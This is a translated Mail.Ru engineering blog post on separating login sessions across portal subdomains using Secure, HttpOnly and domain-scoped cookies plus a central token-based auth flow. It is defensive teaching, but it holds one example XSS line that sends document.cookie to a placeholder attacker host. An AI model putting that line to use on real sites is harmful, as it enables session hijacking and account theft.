📜 ⬆️ ⬇️

Divide and conquer: how we implemented the separation of sessions on the Mail.Ru portal



Mail.Ru is a huge portal that has existed for more than 15 years. During this time, we have gone from a small web project to the most visited site of the RuNet. The portal includes a huge number of services, each of which has its own destiny, and each of them has a separate team. Developers had to work hard to ensure that all projects — new and old, and those that joined the portal as it developed — used a single authorization system. And after many years, we actually had the opposite task: to divide user sessions. About why we did it, what difficulties we expected and how we got around them, I will tell in this post.

Let's go back many years ago. Since all the services of the company were in the same second-level domain divided into third-level domains, the introduction of general authorization seemed to be a rather trivial task. To solve it, they chose the classic (at that time) option: they transferred all resources to a single authorization form, put an authorization cookie on the second level domain, and on the server side, they started to check the correctness of the transmitted cookie. Simple, beautiful and works:

Set-Cookie: Mpop=1406885629:fbd9c78cdb2c08634e0977fa1b9e6c6c:user@mail.ru:; domain=.mail.ru

Gradually, the services got used to using a common authorization cookie, added% LOGIN_NAME% to it for more convenient display on the portal pages, and began to access this cookie using JavaScript on their pages. However, times have changed ...
')

The enemy does not sleep

As the company grew, user accounts became a tasty loot for attackers of all stripes. First appeared bruteforcery. They limited themselves to searching user passwords in search of those who wanted to perpetuate their birth date or the name of their beloved pet.

Phishers followed them. They began to send mail messages similar to Mail.Ru to portal users. Or containing links to sites that pretended to be a portal authorization center, and in various ways tried to extract user passwords.

We, too, do not sleep

Anti-spam and information security teams have started the fight against phishers and brute forceters. Technology and agitation have borne fruit: hacking has become significantly less. Although weak passwords, coupled with human gullibility, are to this day the main assistants in weaning uchetok from the population, but this is a lyrical digression.

After some time, such a business began to bring in money, and after the students, heavy artillery was pulled up. There were attackers who found vulnerabilities in web services and used them to gain access to user accounts. In addition, they found a way to listen to the traffic between the user's computer and the company's services. The purpose of all this illegal activity was the authorization session of the user - that same portal cookie.

Is HTTPS always HTTPS?

The key services in terms of protecting user data, for example, Mail or Cloud, we hid behind HTTPS. Using a secure HTTPS connection would seem to solve our problems. The data transmitted over such a connection is encrypted and signed, so a third party cannot read or replace it.



But what happens if a hacker, located between the server and the browser, forces the user's browser to access the portal site using an unprotected protocol? To do this, it will be enough for him to intercept any HTTP response sent to the user in an unencrypted form and add a picture with the correct address to it:



The hacker forces the user's browser to visit the portal over an unencrypted connection. As can be seen in the diagram, the session_id cookie will automatically go to the portal server in an unencrypted connection, and, of course, the hacker can easily intercept it. After that, he will be able to use the user account as if he knew the password. To avoid this, the server can set the Secure flag for cookies. It signals the browser that you only need to send this cookie to the server if the connection is made via the HTTPS protocol. The flag is set as follows:

HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: session_id=c9aaf792b29afc98fc12cd613e5330b6; secure


This is an important nuance that needs to be taken into account when setting up HTTPS on the server: setting the Secure-flag for authorization cookies is an absolute must-have for the service in our time. On a large portal, this problem becomes even more relevant. Under central authorization, the use of HTTP in a service located in the portal domain gives the green light to those who want to bypass HTTPS. But even if everything is behind HTTPS and is not susceptible to traffic tapping, the risks of exploiting web vulnerabilities on a service, such as XSS, are always relevant. So you have to either give up the general authorization, or go another way, which I will discuss later.

No xss

“Cross-site scripting (or XSS), among other things harmful, can use user authorization in the web system to get extended access to it or to get user authorization data,” Wikipedia tells us. When using XSS vulnerabilities, in most cases, the main goal of the attackers is exactly authorization cookies, which are later used to gain access to the account. Usually hackers use approximately the following JS code to hijack a user session:

 var іmg = new Image(); іmg.sr = 'http://hacker.site/xss-sniffer.php?' + document.cookie; 



Of course, the most important and effective method of dealing with XSS errors is to prevent their occurrence: testing, developer training, code review, information security audits. However, in the presence of a large number of projects with different teams, it is impossible to achieve a code that is completely devoid of errors. Our main goal is to protect the user account. And we have to make sure that it stays safe no matter if there are XSS vulnerabilities in the system and if they are trying to use them.

This can help us HttpOnly cookies. HttpOnly are cookies that cannot be read using JavaScript, but which are available to server-side scripts like any other. Despite the fact that this is not a new technology (for example, Microsoft has support for HttpOnly cookies appeared 8 years ago in IE6 SP1), not everyone knows why they should be used wherever possible. Cookies that are inaccessible from JavaScript will be a kind of second line of defense against intruders planning an XSS attack: a malicious code that has sneaked onto a page will not be able to steal user cookies using document.cookie. In addition, the use of the HttpOnly flag in cookies helps protect a user account from untrusted scripts, banners or counters that can be loaded from resources that are not controlled by the company.

There is no perfection in the world, and HttpOnly cookies also cannot be called a panacea: the HttpOnly flag does not save completely from XSS vulnerabilities. On the other hand, it severely limits exploitation options: it will not allow the malicious JS code to divert the authorization session. There are situations when their use becomes impossible. For example, with active use of Flash. However, this is not a reason to completely abandon the HttpOnly cookie. You can minimize the risks by combining two types of cookies and using HttpOnly at least where it is possible. So, we set the Secure and HttpOnly flags for cookies - what else?

Domain cookies

As you remember, to ensure pass-through authorization on all services of the company, we used one authorization cookie set for the second-level domain. A general authorization cookie is not only a convenience, but also an opportunity to get access to all services at once using one vulnerability on any project of the company. By stealing an authorization cookie from the a.ya-site-s-obschey-avtorizaciey.ru service, we get access to b.ya-site-s-obschey-avtorizaciey.ru.

Similarly, traffic sniffing works, unless Secure Cookies are used. If one service of the company is secure and uses HTTPS, and the other goes via HTTP, then it is enough to instruct the user's browser to hike to a less protected service, steal the authentication cookie and use it for authentication in a secure service.

Now the domain attribute is set to solve this problem:

HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: session_id=c9aaf792b29afc98fc12cd613e5330b6; domain=a.company.com; secure


Such a cookie will be sent by the browser only in requests for the a.company.com domain and its subdomains. When using domain cookies, if a vulnerability is found in a particular service, only he will suffer. This is true for both XSS and other vulnerabilities.

And how to connect all this?

So, we transferred key services to HTTPS, got domain cookies, look for and eradicate vulnerabilities and generally try to protect ourselves and the user in every way from all sides. But what about single authorization? To ensure common authorization in our heterogeneous environment, where HTTP and HTTPS coexist alongside, we have introduced additional domain cookies necessary to enhance the security of using a particular project. In addition to the main authorization cookie (Mpop), an additional cookie (sdc) is set in the project domain. Authorization on this project will be valid only if there are both cookies - Mpop and intradomain sdc-cookies.



The session separation mechanism in Mail.Ru works as follows: user authentication always happens through a single authorization center, auth.mail.ru, which receives a login and password and issues a domain cookie .auth.mail.ru with Secure and HTTPOnly flags. None of the projects has access to the username and password. Cook .auth.mail.ru is also not available to any of the projects.

When a user visits a project site for which he does not have authorization yet, his request is redirected to the authorization center. The authorization center authenticates it by the presence of cookies .auth.mail.ru, generates a one-time token and redirects to the project page. The token is proxied by the project to the authorization center, which by it generates the project cookie for .project.mail.ru. Thus, all the advantages of a single portal authorization are retained, but authorization of access to various resources is transparent to the user.

The introduction of separation of sessions is one small, but extremely important step within the framework of the general ideology of access sharing, which we follow. Access control allows you to make the protection of resources more consistent, not limited to the "external contour" - even if the attacker managed to drag the session to one of the resources or otherwise compromise it, the consequences for the user will be minimal. In addition to sharing sessions, there are other, invisible to the user (and this is very cool) access sharing technology. We will tell about them in one of the following posts.

So, we came to the conclusion that even services united under a common platform under the hood should be separated, and we gradually introduce this principle on our portal. We are sure that our colleagues from other Russian companies will soon follow the same path, and a significant part of Internet intruders will finally be left without work. The enemy will not pass!

Source: https://habr.com/ru/post/228997/


All Articles